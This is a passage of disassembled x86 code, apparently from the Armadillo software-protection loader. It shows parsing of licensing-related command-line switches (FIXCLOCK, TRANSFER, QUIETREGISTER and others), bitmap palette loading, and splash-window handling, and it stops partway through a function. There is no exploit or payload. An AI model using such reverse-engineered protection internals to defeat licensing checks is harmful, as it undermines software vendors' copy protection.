push offset aQuietregister ; "QUIETREGISTER"
mov ecx, [ebp+Str]
push ecx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B6563
mov dword_4F4484, 8
mov edx, [ebp+Source]
push edx ; Source
push offset byte_4F415C ; Dest
call _strcpy_0
add esp, 8
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B6563: ; CODE XREF: WinMain(x,x,x,x)+1C1j
push offset aTransfer ; "TRANSFER"
mov eax, [ebp+Str]
push eax
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B6587
mov dword_4F4484, 2
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B6587: ; CODE XREF: WinMain(x,x,x,x)+1F6j
push offset aFixclock ; "FIXCLOCK"
mov ecx, [ebp+Str]
push ecx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B65AB
mov dword_4F4484, 3
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B65AB: ; CODE XREF: WinMain(x,x,x,x)+21Aj
push offset aInfo ; "INFO"
mov edx, [ebp+Str]
push edx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B65CF
mov dword_4F4484, 4
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B65CF: ; CODE XREF: WinMain(x,x,x,x)+23Ej
push offset aUnregister ; "UNREGISTER"
mov eax, [ebp+Str]
push eax
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B65F3
mov dword_4F4484, 5
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B65F3: ; CODE XREF: WinMain(x,x,x,x)+262j
push offset aQuietunregiste ; "QUIETUNREGISTER"
mov ecx, [ebp+Str]
push ecx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B6617
mov dword_4F4484, 9
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B6617: ; CODE XREF: WinMain(x,x,x,x)+286j
push offset aShownetusers ; "SHOWNETUSERS"
mov edx, [ebp+Str]
push edx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B6638
mov dword_4F4484, 6
jmp short loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B6638: ; CODE XREF: WinMain(x,x,x,x)+2AAj
push offset aHwchangelog ; "HWCHANGELOG"
mov eax, [ebp+Str]
push eax
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B6659
mov dword_4F4484, 7
jmp short loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B6659: ; CODE XREF: WinMain(x,x,x,x)+2CBj
push offset aQuietexit ; "QUIETEXIT"
mov ecx, [ebp+Str]
push ecx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B667A
mov dword_4F4484, 0Ah
jmp short loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B667A: ; CODE XREF: WinMain(x,x,x,x)+2ECj
push 9 ; MaxCount
push offset aArmdebug ; "ARMDEBUG="
mov edx, [ebp+Str]
push edx ; Str1
call __strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4B66A5
mov eax, [ebp+Str]
add eax, 9
push eax ; Source
push offset byte_4F415C ; Dest
call _strcpy_0
add esp, 8
loc_4B66A5: ; CODE XREF: WinMain(x,x,x,x)+1A9j
; WinMain(x,x,x,x)+1DEj ...
call sub_4B5E84
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4B6719
mov ecx, [ebp+Str]
mov [ebp+Dest], ecx
call sub_4B45B1
push eax ; Source
mov edx, [ebp+Dest]
push edx ; Dest
call _strcpy_0
add esp, 8
call sub_4B45C2
push eax ; Str
call _strlen_0
add esp, 4
test eax, eax
jz short loc_4B6706
push offset asc_4ED704 ; "\n"
mov eax, [ebp+Str]
push eax ; Dest
call _strcat_0
add esp, 8
mov ecx, [ebp+Str]
mov [ebp+var_20], ecx
call sub_4B45C2
push eax ; Source
mov edx, [ebp+var_20]
push edx ; Dest
call _strcat_0
add esp, 8
loc_4B6706: ; CODE XREF: WinMain(x,x,x,x)+35Bj
push 40010h
push 0
mov eax, [ebp+Str]
push eax
push 0
call dword_4ED22C ; MessageBoxA
loc_4B6719: ; CODE XREF: WinMain(x,x,x,x)+331j
mov ecx, dword_4F473C
mov [ebp+var_14], ecx
mov edx, [ebp+Str]
mov [ebp+var_24], edx
mov eax, [ebp+var_24]
push eax
call sub_4C85D6
add esp, 4
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn 10h
_WinMain@16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4B673D(char *Source,char *Dest)
sub_4B673D proc near ; CODE XREF: WinMain(x,x,x,x)+78p
; WinMain(x,x,x,x)+16Ep
Count = dword ptr -8
var_4 = dword ptr -4
Source = dword ptr 8
Dest = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
loc_4B6743: ; CODE XREF: sub_4B673D+1Aj
mov eax, [ebp+Source]
movsx ecx, byte ptr [eax]
cmp ecx, 20h
jnz short loc_4B6759
mov edx, [ebp+Source]
add edx, 1
mov [ebp+Source], edx
jmp short loc_4B6743
; ---------------------------------------------------------------------------
loc_4B6759: ; CODE XREF: sub_4B673D+Fj
mov eax, [ebp+Source]
mov [ebp+var_4], eax
loc_4B675F: ; CODE XREF: sub_4B673D+40j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4B677F
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 20h
jz short loc_4B677F
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4B675F
; ---------------------------------------------------------------------------
loc_4B677F: ; CODE XREF: sub_4B673D+2Aj
; sub_4B673D+35j
mov eax, [ebp+var_4]
sub eax, [ebp+Source]
mov [ebp+Count], eax
mov ecx, [ebp+Count]
push ecx ; Count
mov edx, [ebp+Source]
push edx ; Source
mov eax, [ebp+Dest]
push eax ; Dest
call _strncpy_0
add esp, 0Ch
mov ecx, [ebp+Dest]
add ecx, [ebp+Count]
mov byte ptr [ecx], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4B673D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B67B0 proc near ; CODE XREF: sub_4B6BB7+6p
; sub_4B6F14+149p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call dword_4ED0AC ; GetCurrentThreadId
cmp dword_4F44A8, eax
jnz short loc_4B67DA
mov eax, dword_4F4498
push eax
call dword_4ED228 ; DestroyWindow
mov dword_4F4498, 0
jmp short loc_4B6824
; ---------------------------------------------------------------------------
loc_4B67DA: ; CODE XREF: sub_4B67B0+10j
push 0
push 0
push 40Ah
mov ecx, dword_4F4498
push ecx
call dword_4ED278 ; PostMessageA
mov [ebp+var_4], 0
jmp short loc_4B6802
; ---------------------------------------------------------------------------
loc_4B67F9: ; CODE XREF: sub_4B67B0+72j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4B6802: ; CODE XREF: sub_4B67B0+47j
cmp [ebp+var_4], 14h
jge short loc_4B6824
mov eax, dword_4F4498
push eax
call dword_4ED27C ; IsWindow
test eax, eax
jnz short loc_4B681A
jmp short loc_4B6824
; ---------------------------------------------------------------------------
loc_4B681A: ; CODE XREF: sub_4B67B0+66j
push 64h
call dword_4ED1A4 ; Sleep
jmp short loc_4B67F9
; ---------------------------------------------------------------------------
loc_4B6824: ; CODE XREF: sub_4B67B0+28j
; sub_4B67B0+56j ...
mov esp, ebp
pop ebp
retn
sub_4B67B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B6828 proc near ; CODE XREF: sub_4B6BB7+17p
; DATA XREF: sub_4B45FB+159o
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = dword ptr -4Ah
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
Dst = dword ptr -1Ch
var_12 = dword ptr -12h
var_C = dword ptr -0Ch
Size = dword ptr -8
Src = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
mov [ebp+Src], eax
push 0Eh ; Size
mov ecx, [ebp+Src]
push ecx ; Src
lea edx, [ebp+Dst]
push edx ; Dst
call _memcpy_1
add esp, 0Ch
mov eax, [ebp+Src]
add eax, 0Eh
mov [ebp+Src], eax
mov ecx, [ebp+Dst]
and ecx, 0FFFFh
cmp ecx, 4D42h
jz short loc_4B6867
xor eax, eax
jmp loc_4B6BB3
; ---------------------------------------------------------------------------
loc_4B6867: ; CODE XREF: sub_4B6828+36j
push 28h ; Size
mov edx, [ebp+Src]
push edx ; Src
lea eax, [ebp+var_58]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp+Src]
add ecx, 28h
mov [ebp+Src], ecx
mov [ebp+var_20], 28h
cmp [ebp+var_38], 0
jnz short loc_4B68A2
mov ecx, [ebp+var_4A]
and ecx, 0FFFFh
mov edx, 1
shl edx, cl
mov [ebp+var_38], edx
loc_4B68A2: ; CODE XREF: sub_4B6828+65j
cmp [ebp+var_34], 0
jnz short loc_4B68BB
mov ecx, [ebp+var_4A]
and ecx, 0FFFFh
mov eax, 1
shl eax, cl
mov [ebp+var_34], eax
loc_4B68BB: ; CODE XREF: sub_4B6828+7Ej
mov ecx, [ebp+var_4A]
and ecx, 0FFFFh
cmp ecx, 8
jle short loc_4B68D7
mov edx, [ebp+var_38]
mov eax, [ebp+var_20]
lea ecx, [eax+edx*2]
mov [ebp+var_20], ecx
jmp short loc_4B68F0
; ---------------------------------------------------------------------------
loc_4B68D7: ; CODE XREF: sub_4B6828+9Fj
mov ecx, [ebp+var_4A]
and ecx, 0FFFFh
mov edx, 1
shl edx, cl
mov eax, [ebp+var_20]
lea ecx, [eax+edx*4]
mov [ebp+var_20], ecx
loc_4B68F0: ; CODE XREF: sub_4B6828+ADj
mov edx, [ebp+var_20]
push edx
call sub_4C85E1
add esp, 4
mov [ebp+var_70], eax
mov eax, [ebp+var_70]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov dword ptr [ecx], 28h
mov edx, [ebp+var_2C]
mov eax, [ebp+var_54]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_50]
mov [ecx+8], edx
mov eax, [ebp+var_2C]
mov cx, [ebp+var_4C]
mov [eax+0Ch], cx
mov edx, [ebp+var_2C]
mov ax, word ptr [ebp+var_4A]
mov [edx+0Eh], ax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_4A+2]
mov [ecx+10h], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_44]
mov [eax+14h], ecx
mov edx, [ebp+var_2C]
mov eax, [ebp+var_40]
mov [edx+18h], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_3C]
mov [ecx+1Ch], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_38]
mov [eax+20h], ecx
mov edx, [ebp+var_2C]
mov eax, [ebp+var_34]
mov [edx+24h], eax
mov ecx, [ebp+var_4A]
and ecx, 0FFFFh
cmp ecx, 8
jg loc_4B6AEA
mov edx, [ebp+var_2C]
xor eax, eax
cmp dword ptr [edx], 28h
setz al
add eax, 3
mov ecx, [ebp+var_38]
imul ecx, eax
mov [ebp+Size], ecx
mov edx, [ebp+Size]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+var_2C]
add ecx, 28h
push ecx ; Dst
call _memcpy_1
add esp, 0Ch
mov edx, [ebp+Src]
add edx, [ebp+Size]
mov [ebp+Src], edx
mov eax, [ebp+var_38]
shl eax, 2
lea ecx, ds:20h[eax*4]
push ecx
call sub_4C85E1
add esp, 4
mov [ebp+var_74], eax
mov edx, [ebp+var_74]
mov [ebp+var_5C], edx
mov eax, [ebp+var_5C]
mov word ptr [eax], 300h
mov ecx, [ebp+var_5C]
mov dx, word ptr [ebp+var_38]
mov [ecx+2], dx
mov eax, [ebp+var_2C]
cmp dword ptr [eax], 28h
jnz short loc_4B6A5D
mov ecx, [ebp+var_2C]
add ecx, 28h
mov [ebp+var_64], ecx
mov [ebp+var_60], 0
loc_4B69FF: ; CODE XREF: sub_4B6828+231j
mov edx, [ebp+var_5C]
xor eax, eax
mov ax, [edx+2]
cmp [ebp+var_60], eax
jnb short loc_4B6A5B
mov ecx, [ebp+var_60]
mov edx, [ebp+var_5C]
mov eax, [ebp+var_64]
mov al, [eax+2]
mov [edx+ecx*4+4], al
mov ecx, [ebp+var_60]
mov edx, [ebp+var_5C]
mov eax, [ebp+var_64]
mov al, [eax+1]
mov [edx+ecx*4+5], al
mov ecx, [ebp+var_60]
mov edx, [ebp+var_5C]
mov eax, [ebp+var_64]
mov al, [eax]
mov [edx+ecx*4+6], al
mov ecx, [ebp+var_60]
mov edx, [ebp+var_5C]
mov byte ptr [edx+ecx*4+7], 0
mov eax, [ebp+var_60]
add eax, 1
mov [ebp+var_60], eax
mov ecx, [ebp+var_64]
add ecx, 4
mov [ebp+var_64], ecx
jmp short loc_4B69FF
; ---------------------------------------------------------------------------
loc_4B6A5B: ; CODE XREF: sub_4B6828+1E3j
jmp short loc_4B6AC9
; ---------------------------------------------------------------------------
loc_4B6A5D: ; CODE XREF: sub_4B6828+1C5j
mov edx, [ebp+var_2C]
add edx, 28h
mov [ebp+var_6C], edx
mov [ebp+var_68], 0
loc_4B6A6D: ; CODE XREF: sub_4B6828+29Fj
mov eax, [ebp+var_5C]
xor ecx, ecx
mov cx, [eax+2]
cmp [ebp+var_68], ecx
jnb short loc_4B6AC9
mov edx, [ebp+var_68]
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_6C]
mov cl, [ecx+2]
mov [eax+edx*4+4], cl
mov edx, [ebp+var_68]
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_6C]
mov cl, [ecx+1]
mov [eax+edx*4+5], cl
mov edx, [ebp+var_68]
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_6C]
mov cl, [ecx]
mov [eax+edx*4+6], cl
mov edx, [ebp+var_68]
mov eax, [ebp+var_5C]
mov byte ptr [eax+edx*4+7], 0
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
mov edx, [ebp+var_6C]
add edx, 3
mov [ebp+var_6C], edx
jmp short loc_4B6A6D
; ---------------------------------------------------------------------------
loc_4B6AC9: ; CODE XREF: sub_4B6828:loc_4B6A5Bj
; sub_4B6828+251j
mov eax, [ebp+var_5C]
push eax
call dword_4ED010 ; CreatePalette
mov dword_4F44A0, eax
mov ecx, [ebp+var_5C]
mov [ebp+var_78], ecx
mov edx, [ebp+var_78]
push edx
call sub_4C85D6
add esp, 4
loc_4B6AEA: ; CODE XREF: sub_4B6828+150j
mov eax, [ebp+Dst+2]
sub eax, [ebp+var_12]
mov [ebp+Size], eax
mov ecx, [ebp+Src]
mov [ebp+var_28], ecx
mov edx, [ebp+Src]
add edx, [ebp+Size]
mov [ebp+Src], edx
push 0
push 0
push 0
push offset aDisplay_0 ; "DISPLAY"
call dword_4ED00C ; CreateDCA
mov [ebp+var_30], eax
mov [ebp+var_24], 0
cmp dword_4F44A0, 0
jz short loc_4B6B45
push 0
mov eax, dword_4F44A0
push eax
mov ecx, [ebp+var_30]
push ecx
call dword_4ED008 ; SelectPalette
mov [ebp+var_24], eax
mov edx, [ebp+var_30]
push edx
call dword_4ED004 ; RealizePalette
loc_4B6B45: ; CODE XREF: sub_4B6828+2FCj
push 0
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_28]
push ecx
push 4
lea edx, [ebp+var_58]
push edx
mov eax, [ebp+var_30]
push eax
call dword_4ED024 ; CreateDIBitmap
mov [ebp+var_C], eax
cmp [ebp+var_24], 0
jz short loc_4B6B78
push 0
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_30]
push edx
call dword_4ED008 ; SelectPalette
loc_4B6B78: ; CODE XREF: sub_4B6828+33Ej
mov eax, [ebp+var_30]
push eax
call dword_4ED000 ; DeleteDC
mov ecx, [ebp+var_2C]
mov [ebp+var_7C], ecx
mov edx, [ebp+var_7C]
push edx
call sub_4C85D6
add esp, 4
cmp [ebp+arg_4], 0
jz short loc_4B6BA2
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_54]
mov [eax], ecx
loc_4B6BA2: ; CODE XREF: sub_4B6828+370j
cmp [ebp+arg_8], 0
jz short loc_4B6BB0
mov edx, [ebp+arg_8]
mov eax, [ebp+var_50]
mov [edx], eax
loc_4B6BB0: ; CODE XREF: sub_4B6828+37Ej
mov eax, [ebp+var_C]
loc_4B6BB3: ; CODE XREF: sub_4B6828+3Aj
mov esp, ebp
pop ebp
retn
sub_4B6828 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B6BB7 proc near ; CODE XREF: sub_4B4965+1B8p
; .text:004B7294p
; DATA XREF: ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
call sub_4B67B0
lea eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4B6828
add esp, 0Ch
mov dword_4F449C, eax
cmp dword_4F449C, 0
jz short loc_4B6C02
push 1
mov al, [ebp+arg_8]
push eax
mov cl, [ebp+arg_4]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+var_4]
push eax
call sub_4B6C08
add esp, 14h
mov al, 1
jmp short loc_4B6C04
; ---------------------------------------------------------------------------
loc_4B6C02: ; CODE XREF: sub_4B6BB7+2Bj
xor al, al
loc_4B6C04: ; CODE XREF: sub_4B6BB7+49j
mov esp, ebp
pop ebp
retn
sub_4B6BB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B6C08 proc near ; CODE XREF: sub_4B6BB7+3Fp
; sub_4B7150+22p
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
Dest = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 148h
mov [ebp+var_108], offset aArbaseBitmapWi ; "ArBase Bitmap Window"
mov [ebp+var_4], offset aArbaseTestBitm ; "ArBase Test Bitmap Window"
mov al, byte ptr [ebp+arg_C]
mov byte_4F44A4, al
mov cl, byte ptr [ebp+arg_8]
mov byte_4F44A5, cl
mov edx, [ebp+arg_0]
mov dword_4F4490, edx
mov eax, [ebp+arg_4]
mov dword_4F448C, eax
mov ecx, [ebp+arg_10]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B6CC2
mov edx, [ebp+arg_C]
and edx, 0FFh
test edx, edx
jnz short loc_4B6CC2
mov byte_4F44B1, 1
call dword_4ED03C ; GetTickCount
add eax, 0FAh
mov [ebp+var_114], eax
push offset dword_4F44A8
push 0
push 0
push offset sub_4B7150
push 0
push 0
call dword_4ED02C ; CreateThread
push eax
call dword_4ED0E8 ; CloseHandle
loc_4B6C95: ; CODE XREF: sub_4B6C08+AEj
xor eax, eax
mov al, byte_4F44B1
test eax, eax
jz short loc_4B6CB8
call dword_4ED03C ; GetTickCount
cmp eax, [ebp+var_114]
jnb short loc_4B6CB8
push 1
call dword_4ED1A4 ; Sleep
jmp short loc_4B6C95
; ---------------------------------------------------------------------------
loc_4B6CB8: ; CODE XREF: sub_4B6C08+96j
; sub_4B6C08+A4j
mov eax, 1
jmp loc_4B6F10
; ---------------------------------------------------------------------------
loc_4B6CC2: ; CODE XREF: sub_4B6C08+47j
; sub_4B6C08+54j
call dword_4ED0AC ; GetCurrentThreadId
mov dword_4F44A8, eax
xor ecx, ecx
mov cl, byte_4F44B0
test ecx, ecx
jnz loc_4B6D94
mov [ebp+var_13C], 0
mov [ebp+var_138], offset sub_4B6F14
mov [ebp+var_134], 0
mov [ebp+var_130], 0
mov edx, dword_4F4480
mov [ebp+var_12C], edx
mov [ebp+var_128], 0
xor eax, eax
mov al, byte_4F44A4
neg eax
sbb eax, eax
and al, 0FEh
add eax, 7F02h
push eax
push 0
call dword_4ED240 ; LoadCursorA
mov [ebp+var_124], eax
mov [ebp+var_120], 0
mov [ebp+var_11C], 0
mov ecx, [ebp+arg_C]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B6D68
mov edx, [ebp+var_4]
mov [ebp+var_144], edx
jmp short loc_4B6D74
; ---------------------------------------------------------------------------
loc_4B6D68: ; CODE XREF: sub_4B6C08+153j
mov eax, [ebp+var_108]
mov [ebp+var_144], eax
loc_4B6D74: ; CODE XREF: sub_4B6C08+15Ej
mov ecx, [ebp+var_144]
mov [ebp+var_118], ecx
lea edx, [ebp+var_13C]
push edx
call dword_4ED24C ; RegisterClassA
mov byte_4F44B0, 1
loc_4B6D94: ; CODE XREF: sub_4B6C08+CFj
mov eax, [ebp+arg_C]
and eax, 0FFh
test eax, eax
jz short loc_4B6DD6
mov [ebp+var_140], 0
jmp short loc_4B6DBB
; ---------------------------------------------------------------------------
loc_4B6DAC: ; CODE XREF: sub_4B6C08+1CCj
mov ecx, [ebp+var_140]
add ecx, 1
mov [ebp+var_140], ecx
loc_4B6DBB: ; CODE XREF: sub_4B6C08+1A2j
cmp [ebp+var_140], 100h
jge short loc_4B6DD6
mov edx, [ebp+var_140]
push edx
call dword_4ED1F8 ; GetAsyncKeyState
jmp short loc_4B6DAC
; ---------------------------------------------------------------------------
loc_4B6DD6: ; CODE XREF: sub_4B6C08+196j
; sub_4B6C08+1BDj
push 0
call dword_4ED1FC ; GetSystemMetrics
sub eax, dword_4F4490
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_110], eax
push 1
call dword_4ED1FC ; GetSystemMetrics
sub eax, dword_4F448C
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_10C], eax
mov eax, [ebp+arg_C]
and eax, 0FFh
test eax, eax
jz short loc_4B6E1F
mov ecx, [ebp+var_4]
mov [ebp+var_148], ecx
jmp short loc_4B6E2B
; ---------------------------------------------------------------------------
loc_4B6E1F: ; CODE XREF: sub_4B6C08+20Aj
mov edx, [ebp+var_108]
mov [ebp+var_148], edx
loc_4B6E2B: ; CODE XREF: sub_4B6C08+215j
push 0
mov eax, dword_4F4480
push eax
push 0
push 0
mov ecx, dword_4F448C
push ecx
mov edx, dword_4F4490
push edx
mov eax, [ebp+var_10C]
push eax
mov ecx, [ebp+var_110]
push ecx
xor edx, edx
mov dl, byte_4F44A4
neg edx
sbb edx, edx
and edx, 0F8000000h
add edx, 8000000h
or edx, 80000000h
push edx
push 0
mov eax, [ebp+var_148]
push eax
mov ecx, [ebp+arg_8]
and ecx, 0FFh
neg ecx
sbb ecx, ecx
and ecx, 0FFFFFF88h
add ecx, 80h
push ecx
call dword_4ED250 ; CreateWindowExA
mov dword_4F4498, eax
push 4
mov edx, dword_4F4498
push edx
call dword_4ED210 ; ShowWindow
mov eax, dword_4F4498
push eax
call dword_4ED214 ; UpdateWindow
mov ecx, [ebp+arg_C]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B6ED8
push 0
push 64h
push 2
mov edx, dword_4F4498
push edx
call dword_4ED200 ; SetTimer
loc_4B6ED8: ; CODE XREF: sub_4B6C08+2BBj
mov eax, dword_4F4498
push eax
push offset a08x ; "%08X"
lea ecx, [ebp+Dest]
push ecx ; Dest
call _sprintf_0
add esp, 0Ch
lea edx, [ebp+Dest]
push edx
push offset aLoadingwindow ; "LOADINGWINDOW"
call dword_4ED098 ; SetEnvironmentVariableA
mov byte_4F44B1, 0
mov eax, dword_4F4498
loc_4B6F10: ; CODE XREF: sub_4B6C08+B5j
mov esp, ebp
pop ebp
retn
sub_4B6C08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B6F14 proc near ; DATA XREF: sub_4B6C08+DFo
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 58h
mov eax, [ebp+arg_4]
mov [ebp+var_58], eax
cmp [ebp+var_58], 202h
ja short loc_4B6F58
cmp [ebp+var_58], 202h
jz loc_4B7051
cmp [ebp+var_58], 2
jz loc_4B7069
cmp [ebp+var_58], 0Fh
jz short loc_4B6F84
cmp [ebp+var_58], 113h
jz loc_4B70AF
jmp loc_4B7134
; ---------------------------------------------------------------------------
loc_4B6F58: ; CODE XREF: sub_4B6F14+13j
cmp [ebp+var_58], 205h
jz loc_4B7051
cmp [ebp+var_58], 208h
jz loc_4B7051
cmp [ebp+var_58], 40Ah
jz loc_4B7126
jmp loc_4B7134
; ---------------------------------------------------------------------------
loc_4B6F84: ; CODE XREF: sub_4B6F14+30j
lea ecx, [ebp+var_50]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4ED1EC ; BeginPaint
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
push eax
call dword_4ED020 ; CreateCompatibleDC
mov [ebp+var_54], eax
mov ecx, dword_4F449C
push ecx
mov edx, [ebp+var_54]
push edx
call dword_4ED01C ; SelectObject
mov [ebp+var_C], eax
mov [ebp+var_8], 0
cmp dword_4F44A0, 0
jz short loc_4B6FE5
push 0
mov eax, dword_4F44A0
push eax
mov ecx, [ebp+var_10]
push ecx
call dword_4ED008 ; SelectPalette
mov [ebp+var_8], eax
mov edx, [ebp+var_10]
push edx
call dword_4ED004 ; RealizePalette
loc_4B6FE5: ; CODE XREF: sub_4B6F14+B0j
push 0CC0020h
push 0
push 0
mov eax, [ebp+var_54]
push eax
mov ecx, dword_4F448C
push ecx
mov edx, dword_4F4490
push edx
push 0
push 0
mov eax, [ebp+var_10]
push eax
call dword_4ED018 ; BitBlt
cmp [ebp+var_8], 0
jz short loc_4B7024
push 0
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_10]
push edx
call dword_4ED008 ; SelectPalette
loc_4B7024: ; CODE XREF: sub_4B6F14+FEj
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_54]
push ecx
call dword_4ED01C ; SelectObject
mov edx, [ebp+var_54]
push edx
call dword_4ED000 ; DeleteDC
lea eax, [ebp+var_50]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4ED1F0 ; EndPaint
xor eax, eax
jmp loc_4B714A
; ---------------------------------------------------------------------------
loc_4B7051: ; CODE XREF: sub_4B6F14+1Cj
; sub_4B6F14+4Bj ...
xor edx, edx
mov dl, byte_4F44A4
test edx, edx
jz short loc_4B7062
call sub_4B67B0
loc_4B7062: ; CODE XREF: sub_4B6F14+147j
xor eax, eax
jmp loc_4B714A
; ---------------------------------------------------------------------------
loc_4B7069: ; CODE XREF: sub_4B6F14+26j
cmp dword_4F449C, 0
jz short loc_4B7088
mov eax, dword_4F449C
push eax
call dword_4ED014 ; DeleteObject
mov dword_4F449C, 0
loc_4B7088: ; CODE XREF: sub_4B6F14+15Cj
cmp dword_4F44A0, 0
jz short loc_4B70A8
mov ecx, dword_4F44A0
push ecx
call dword_4ED014 ; DeleteObject
mov dword_4F44A0, 0
loc_4B70A8: ; CODE XREF: sub_4B6F14+17Bj
xor eax, eax
jmp loc_4B714A
; ---------------------------------------------------------------------------
loc_4B70AF: ; CODE XREF: sub_4B6F14+39j
cmp [ebp+arg_8], 2
jnz short loc_4B70EF
mov [ebp+var_4], 0
jmp short loc_4B70C7
; ---------------------------------------------------------------------------
loc_4B70BE: ; CODE XREF: sub_4B6F14:loc_4B70EBj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4B70C7: ; CODE XREF: sub_4B6F14+1A8j
cmp [ebp+var_4], 100h
jge short loc_4B70ED
mov eax, [ebp+var_4]
push eax
call dword_4ED1F8 ; GetAsyncKeyState
movsx ecx, ax
and ecx, 1
test ecx, ecx
jz short loc_4B70EB
call sub_4B67B0
jmp short loc_4B70ED
; ---------------------------------------------------------------------------
loc_4B70EB: ; CODE XREF: sub_4B6F14+1CEj
